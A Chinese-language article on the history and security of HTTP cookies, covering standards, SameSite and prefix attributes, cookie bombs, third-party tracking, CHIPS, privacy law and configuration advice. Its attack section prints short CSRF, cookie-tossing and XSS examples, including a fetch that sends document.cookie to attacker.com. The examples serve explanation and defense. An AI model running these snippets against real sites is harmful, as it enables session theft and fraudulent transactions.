1994年6月,Netscape的工程师Lou Montulli面临一个棘手的技术问题。MCI公司正在开发一个电子商务应用,他们不想在服务器端维护用户的购物车状态——这会消耗大量服务器资源。Montulli想到了一个解决方案:让浏览器"记住"一些数据。他从Unix系统的"magic cookie"概念中汲取灵感,设计出了HTTP Cookie。
这个看似简单的发明,在接下来的三十年里引发了Web安全与隐私保护领域最深层的博弈。从最初仅4页的规范文档,到如今需要数十个RFC草案来修补的安全漏洞,Cookie的技术演进揭示了Web架构设计中效率、安全与隐私之间的永恒张力。
一个四页文档开启的Web时代
Montulli在1994年10月13日发布的Netscape Navigator 0.9 beta版中首次实现了Cookie。原始规范异常简洁——只有约四页纸的内容,定义了Set-Cookie响应头的基本语法:名称、值、过期时间、域名和路径。
这个设计解决了HTTP无状态协议的核心困境。在Cookie诞生之前,Web服务器无法区分两个连续请求是否来自同一用户。购物网站不得不在URL中嵌入会话标识,这种做法不仅破坏了URL的干净性,还带来了严重的安全风险——任何知道URL的人都能劫持会话。
Cookie的引入改变了这一切。服务器可以通过Set-Cookie响应头在用户浏览器中存储一小段数据,浏览器会在后续对该服务器的请求中自动附上这段数据。这种机制使得购物车、用户登录、个性化设置等功能成为可能。
然而,这个最初的设计埋下了深远的安全隐患。Netscape规范没有考虑跨站脚本攻击(XSS),没有定义HttpOnly属性,更没有预见第三方Cookie会演变成隐私追踪的基础设施。
标准化的曲折道路
Cookie从企业发明到IETF标准经历了漫长的过程。1995年4月,关于Cookie标准化的讨论在www-talk邮件列表中启动。IETF成立了一个专门的工作组,由David Kristol和Lou Montulli共同领导。
1997年2月,RFC 2109发布。这份标准明确指出第三方Cookie构成"重大的隐私威胁",建议浏览器默认禁止第三方Cookie。然而,这个建议被Netscape和微软完全忽视了——当时的广告行业已经开始依赖第三方Cookie进行跨站追踪。
2000年10月,RFC 2965试图引入Set-Cookie2头部来解决已知问题,但浏览器厂商几乎没有实现这个新规范。Set-Cookie2头部成为了一个失败的实验。
直到2011年4月,RFC 6265才作为"现实世界Cookie使用的权威规范"发布。它没有引入新的理想化特性,而是忠实地描述了浏览器实际实现的行为。这份文档承认了一个事实:Cookie已经成为一个无法推翻的Web基础设施,标准化的任务是描述现实而非规定理想。
Cookie的工作机制:从服务器到浏览器再回来
理解Cookie的安全问题,需要先理解其完整的工作流程。
当服务器想要在客户端存储数据时,它在HTTP响应中添加Set-Cookie头部:
HTTP/1.1 200 OK
Content-Type: text/html
Set-Cookie: session_id=a1b2c3d4e5f6; Path=/; HttpOnly; Secure; SameSite=Strict
浏览器解析这个头部,提取cookie的名称、值和各种属性,将其存储在本地的cookie存储区中。重要的是,Set-Cookie头部被浏览器标记为"禁止暴露的响应头",JavaScript无法通过XMLHttpRequest或fetch API读取它——这是为了防止恶意脚本窃取服务器设置的敏感cookie。
当浏览器向同一服务器发送后续请求时,它会自动在请求中添加Cookie头部:
GET /dashboard HTTP/1.1
Host: example.com
Cookie: session_id=a1b2c3d4e5f6
服务器从Cookie头部读取会话标识,在数据库中查找对应的用户信息,从而实现有状态的交互。
这个简单的机制背后是复杂的匹配逻辑。浏览器决定是否发送某个cookie,需要检查请求的域名是否匹配cookie的Domain属性、请求路径是否匹配cookie的Path属性、请求协议是否满足Secure属性的要求、以及cookie是否已过期。
安全属性的三十年演进
Cookie的安全属性是逐步添加的,每一个都对应着特定类型的攻击。
Secure:防止中间人窃听
Secure属性是最早的安全增强之一。标记了Secure的cookie只能通过HTTPS连接传输,不会在HTTP连接中发送。这可以防止被动攻击者通过网络嗅探窃取cookie。
但Secure属性有一个重要局限:它只保护传输过程。如果攻击者能够访问客户端设备(通过恶意软件或物理接触),Secure cookie仍然可以被读取。更危险的是,如果服务器在HTTP连接上设置了带Secure属性的cookie,中间人攻击者可以在传输过程中删除Secure标记,然后使用这个cookie。
HttpOnly:堵住XSS的大门
2002年,微软在Internet Explorer 6 SP1中引入了HttpOnly属性。这是一个简单但极其有效的设计:标记了HttpOnly的cookie不能被JavaScript的document.cookieAPI访问。
这个属性的诞生背景是XSS攻击的泛滥。攻击者通过注入恶意脚本,可以读取document.cookie中的会话cookie,然后将其发送到自己的服务器。有了HttpOnly,即使网站存在XSS漏洞,攻击者也无法直接读取受保护的cookie。
但HttpOnly并非万能药。它不阻止XSS攻击本身,只是减轻了攻击的影响。攻击者仍然可以通过XSS执行任意操作(如发送恶意请求),只是无法窃取cookie用于后续攻击。此外,HttpOnly cookie仍然可能被TRACE方法泄露(称为跨站追踪攻击,XST),虽然现代浏览器已经禁用了TRACE方法。
SameSite:CSRF防御的新防线
2016年,Chrome 51引入了SameSite属性,这是Cookie安全演进中最重要的一步。SameSite属性有三个可能的值:
-
Strict:cookie只在"同站"请求中发送。跨站请求(包括点击链接导航到目标站点)都不会携带此cookie。这提供了最强的CSRF防护,但可能影响用户体验——用户从邮件中的链接访问已登录的网站时,可能需要重新登录。
-
Lax:cookie在同站请求中发送,同时在顶级导航的GET请求中也发送。这是在安全和可用性之间的平衡。用户从其他网站点击链接导航过来时,cookie会被携带,但POST请求和嵌入内容(如图片、iframe)不会携带cookie。
-
None:cookie在所有请求中发送,包括跨站请求。这是传统Cookie的行为。使用
None值时,必须同时设置Secure属性。
2020年2月,Chrome 80做出了一个改变Web生态的决定:将没有显式设置SameSite属性的cookie默认视为SameSite=Lax。在此之前,未设置SameSite的cookie行为等同于None,这导致大量网站依赖第三方cookie进行认证和追踪。
这个改变引发了大规模的网站兼容性问题。许多依赖跨站cookie的OAuth流程、嵌入式应用和支付网关突然失效。Google不得不两次推迟全面强制执行的日期,最终在Chrome 84中完成部署。
Cookie前缀:最后一道防线
2020年代,浏览器引入了Cookie前缀作为额外的安全保证。这些前缀以__开头,要求浏览器在设置cookie时验证特定条件:
-
__Secure-:要求cookie必须设置Secure属性,并且必须通过HTTPS设置。这防止了HTTP连接上设置伪装的安全cookie。 -
__Host-:这是最严格的前缀。除了__Secure-的要求外,还禁止设置Domain属性(确保cookie是"主机锁定"的),并要求Path必须设置为/。这确保cookie只发送给设置它的确切主机,不会被任何子域或路径覆盖。 -
__Http-和__Host-Http-:这些是更新的前缀,要求cookie必须设置HttpOnly属性,证明它们是通过Set-Cookie头部设置的,而不是通过JavaScript。
前缀机制解决了Cookie Tossing攻击——攻击者控制子域时,可以设置与父域同名的cookie,覆盖父域的cookie。使用__Host-前缀的cookie不会被子域设置的cookie覆盖,因为它们要求不设置Domain属性。
Cookie存储限制与Cookie Bomb攻击
浏览器对Cookie有严格的存储限制。RFC 6265要求浏览器至少支持:
- 每个cookie至少4096字节
- 每个域名至少50个cookie
- 总共至少3000个cookie
现代浏览器的实际限制略有不同:
| 浏览器 | 每cookie大小 | 每域名cookie数 | 总cookie数 |
|---|---|---|---|
| Chrome | 4096字节 | 180个 | 无限制 |
| Firefox | 4097字节 | 150个 | 无限制 |
| Safari | 4097字节 | 无限制 | 无限制 |
| Edge | 4095字节 | 180个 | 无限制 |
这些限制看似合理,却催生了一种被称为"Cookie Bomb"的拒绝服务攻击。攻击者在目标域名下设置大量接近4096字节上限的cookie,当这些cookie被附加到HTTP请求中时,请求头会变得极其庞大。大多数Web服务器对请求头大小有严格限制(Nginx默认为8KB),超过限制的请求会被拒绝。
攻击者通常通过子域进行攻击。如果example.com有一个存在XSS漏洞的子域blog.example.com,攻击者可以在该子域设置cookie,由于没有显式设置Domain属性,这些cookie会被发送到父域。当受害者访问example.com时,所有这些巨大的cookie都会被附加到请求中,导致服务器拒绝服务。
防御Cookie Bomb需要在子域隔离上做文章。使用__Host-前缀可以防止cookie被子域覆盖,但更重要的是避免在存在用户可控内容的子域上设置敏感cookie。
第三方Cookie:隐私与商业的战场
第三方Cookie是Cookie争议的核心。当用户访问example.com时,页面中嵌入的来自analytics.com的脚本可以设置属于analytics.com的cookie。当用户随后访问another-site.com,其中也嵌入了来自analytics.com的脚本时,之前设置的cookie会被发送到analytics.com。这样,analytics.com可以追踪用户在多个网站上的行为。
Safari的激进立场
苹果是最早对第三方Cookie采取激进措施的厂商。2017年,Safari引入了智能追踪预防(ITP),开始限制第三方cookie的使用。2018年,Safari更进一步,对所有JavaScript设置的cookie实施了7天的过期限制。
这意味着,即使用户设置了长达一年的cookie过期时间,Safari也会在7天后删除它(除非用户在这7天内与网站有交互)。这个限制严重影响了营销追踪和长期登录状态的保持。
ITP还引入了"隔舱化"概念:如果Safari检测到某个域名主要用于跨站追踪,它会将该域名的所有cookie隔离开来,每个顶级网站都有自己的cookie"隔舱",无法跨站共享。
Chrome的犹豫与转折
Google的态度要复杂得多。Chrome占据全球浏览器市场约65%的份额,其决策会对整个广告行业产生巨大影响。Google同时也是全球最大的数字广告公司,这造成了明显的利益冲突。
2020年,Google宣布将在2022年之前淘汰第三方cookie。随后,这个日期被推迟到2023年,然后是2024年。2024年7月,Google做出了一个惊人的宣布:不再计划强制淘汰第三方cookie,而是让用户自行选择是否禁用它们。
这个决定反映了Cookie问题的复杂性。完全淘汰第三方cookie会破坏大量现有的Web应用——OAuth单点登录、嵌入式支付表单、跨域iframe通信等都依赖某种形式的第三方cookie。Privacy Sandbox项目提供了替代方案(如Topics API、Attribution Reporting API),但这些API的采用率仍然很低。
CHIPS:分区Cookie的折中方案
Cookies Having Independent Partitioned State(CHIPS)是一个试图在隐私和功能之间找到平衡的提案。它引入了Partitioned属性,让cookie被"分区"存储:
Set-Cookie: session=abc123; Partitioned; Secure; SameSite=None
当一个分区cookie被设置后,它会被存储在一个独立的"隔舱"中,每个顶级网站有自己的隔舱。当用户从site-a.com访问embedded.com时设置的cookie,不会被发送到从site-b.com访问embedded.com时的请求中。
这解决了第三方cookie的隐私问题——追踪者无法跨站追踪用户——同时保留了第三方cookie的功能性——嵌入式应用仍然可以在单个网站的上下文中工作。
Cookie安全攻击全景
CSRF:跨站请求伪造
在SameSite属性普及之前,CSRF是最常见的cookie相关攻击。攻击者诱导受害者访问恶意网站,该网站向目标网站发送一个隐藏的POST请求:
<form action="https://bank.com/transfer" method="POST" id="csrf">
<input type="hidden" name="to" value="attacker" />
<input type="hidden" name="amount" value="10000" />
</form>
<script>document.getElementById('csrf').submit();</script>
当受害者已经登录bank.com时,浏览器会自动附加银行的认证cookie。银行服务器收到请求,验证cookie有效,执行转账。
SameSite=Strict或SameSite=Lax可以阻止这种攻击,但开发者应该实现多层防御:
- 使用
SameSite属性 - 为每个表单生成随机CSRF令牌
- 验证请求来源(检查
Origin或Referer头部) - 对于敏感操作,要求二次认证
XSS:跨站脚本与Cookie窃取
XSS攻击允许攻击者在受害者浏览器中执行任意JavaScript。如果会话cookie没有设置HttpOnly,攻击者可以轻松窃取:
// 攻击者的脚本
fetch('https://attacker.com/steal?cookie=' + document.cookie);
HttpOnly可以阻止这种直接的窃取,但攻击者仍然可以在受害者上下文中执行任意操作:
// 攻击者直接执行转账
fetch('https://bank.com/transfer', {
method: 'POST',
body: JSON.stringify({ to: 'attacker', amount: 10000 }),
credentials: 'include'
});
Cookie Tossing:子域劫持
当攻击者控制某个子域时,他们可以设置与父域同名的cookie。由于浏览器按照特定顺序发送cookie(通常是最具体的路径先发送),攻击者可以"覆盖"父域的cookie:
// 攻击者在 blog.example.com 设置的cookie
document.cookie = "session=attacker_controlled; path=/; domain=example.com";
当受害者访问example.com时,浏览器可能发送攻击者的cookie而非合法的cookie。这种攻击在OAuth流程中尤其危险——攻击者可以劫持OAuth回调并获取访问令牌。
防御措施包括使用__Host-前缀和确保子域的安全隔离。
子域Cookie污染
与Cookie Tossing相关的是子域Cookie污染问题。当一个cookie设置了Domain=.example.com(注意前导点在RFC 6265中被忽略),它会被发送到所有子域。这意味着:
- 子域的安全漏洞可能泄露父域的cookie
- 子域设置的cookie可能干扰父域的功能
- 攻击者控制的子域可以读取父域的cookie
最佳实践是避免设置Domain属性,让cookie成为"主机锁定"的cookie。这样可以确保cookie只发送给设置它的确切主机。
法规演进:从技术规范到法律义务
Cookie的安全问题最终引发了立法者的关注。2002年,欧盟发布了电子隐私指令(ePrivacy Directive),要求网站在设置非必要cookie之前必须获得用户同意。这项指令在2009年修订后变得更严格,被欧盟各成员国转化为国内法。
2018年生效的通用数据保护条例(GDPR)进一步强化了对Cookie的监管。虽然GDPR没有直接提到Cookie,但它将Cookie数据归类为个人数据,适用GDPR的所有要求:
- 数据最小化原则:只收集必要的cookie数据
- 目的限定原则:cookie只能用于声明的目的
- 存储期限原则:cookie不应保留超过必要的时间
- 用户权利:用户有权访问、更正和删除其cookie数据
英国的隐私和电子通信条例(PECR)是ePrivacy指令的本地化实现,它明确要求:
- 在设置非必要cookie前告知用户
- 提供清晰的cookie信息
- 获得用户主动同意(不能预先勾选)
- 允许用户随时撤回同意
这些法规直接催生了当今Web上无处不在的Cookie横幅。然而,技术实现和法规要求之间存在张力。例如,GDPR要求同意必须是"主动的"(opt-in),但许多网站仍然默认接受所有cookie,只提供一个"接受"按钮而没有对等的"拒绝"按钮。
最佳实践:安全Cookie配置指南
综合三十年来的技术演进和攻击教训,现代Web应用应该遵循以下Cookie配置原则:
会话Cookie配置
对于最敏感的会话cookie,使用最严格的配置:
Set-Cookie: session_id=<random_value>; \
Path=/; \
Secure; \
HttpOnly; \
SameSite=Strict
或者使用__Host-前缀:
Set-Cookie: __Host-session_id=<random_value>; \
Path=/; \
Secure; \
HttpOnly; \
SameSite=Strict
跨站嵌入场景
当需要允许iframe中的跨站cookie时,使用CHIPS:
Set-Cookie: embedded_session=<value>; \
Path=/; \
Secure; \
HttpOnly; \
SameSite=None; \
Partitioned
长期偏好Cookie
对于用户偏好等非敏感长期存储,可以放宽SameSite设置:
Set-Cookie: preferences=<encoded_value>; \
Path=/; \
Secure; \
SameSite=Lax; \
Max-Age=31536000
注意Chrome对Expires和Max-Age设置了400天的上限。尝试设置超过400天的cookie会被截断到400天。
应该避免的做法
- 不要在HTTP连接上设置敏感cookie
- 不要为会话cookie设置过长的过期时间
- 不要在没有
Secure属性的情况下使用SameSite=None - 不要在子域共享敏感cookie(避免设置
Domain属性) - 不要在cookie中存储敏感数据——cookie值应该是一个不可预测的标识符,敏感数据应该存储在服务器端
Cookie的未来
Cookie的技术演进反映了Web平台从简单的文档检索系统到复杂应用平台的转变。最初为购物车设计的简单机制,现在承载着认证、追踪、个性化等多重功能,每一种功能都带来新的安全挑战。
第三方Cookie的未来仍然不确定。虽然Google放弃了强制淘汰的计划,但Safari和Firefox已经默认阻止它们。Privacy Sandbox的API正在逐渐成熟,可能最终提供一个既保护隐私又支持广告生态的解决方案。
在可预见的未来,Cookie仍将是Web的关键基础设施。理解其安全属性和潜在攻击,对于任何Web开发者来说都是必不可少的技能。在安全与便利之间找到平衡,是这个三十年前发明的技术将继续教给我们的课程。
参考资料
- RFC 6265 - HTTP State Management Mechanism. IETF, 2011.
- draft-ietf-httpbis-rfc6265bis - Cookies: HTTP State Management Mechanism. IETF, 2024.
- HTTP cookie - Wikipedia. Wikimedia Foundation.
- Set-Cookie - HTTP Headers. MDN Web Docs, Mozilla.
- SameSite cookies explained. web.dev, Google.
- Cookies Having Independent Partitioned State (CHIPS). MDN Web Docs, Mozilla.
- Tracking Prevention in WebKit. WebKit Blog.
- Cookie Consent Explained: GDPR Compliance. ICO (UK Information Commissioner’s Office).
- OWASP Testing Guide - Testing for Cookies Attributes. OWASP Foundation.
- PortSwigger Web Security Academy - Bypassing SameSite cookie restrictions. PortSwigger.
- Chrome’s SameSite changes - Chrome Developers. Google.
- Privacy Sandbox - Google.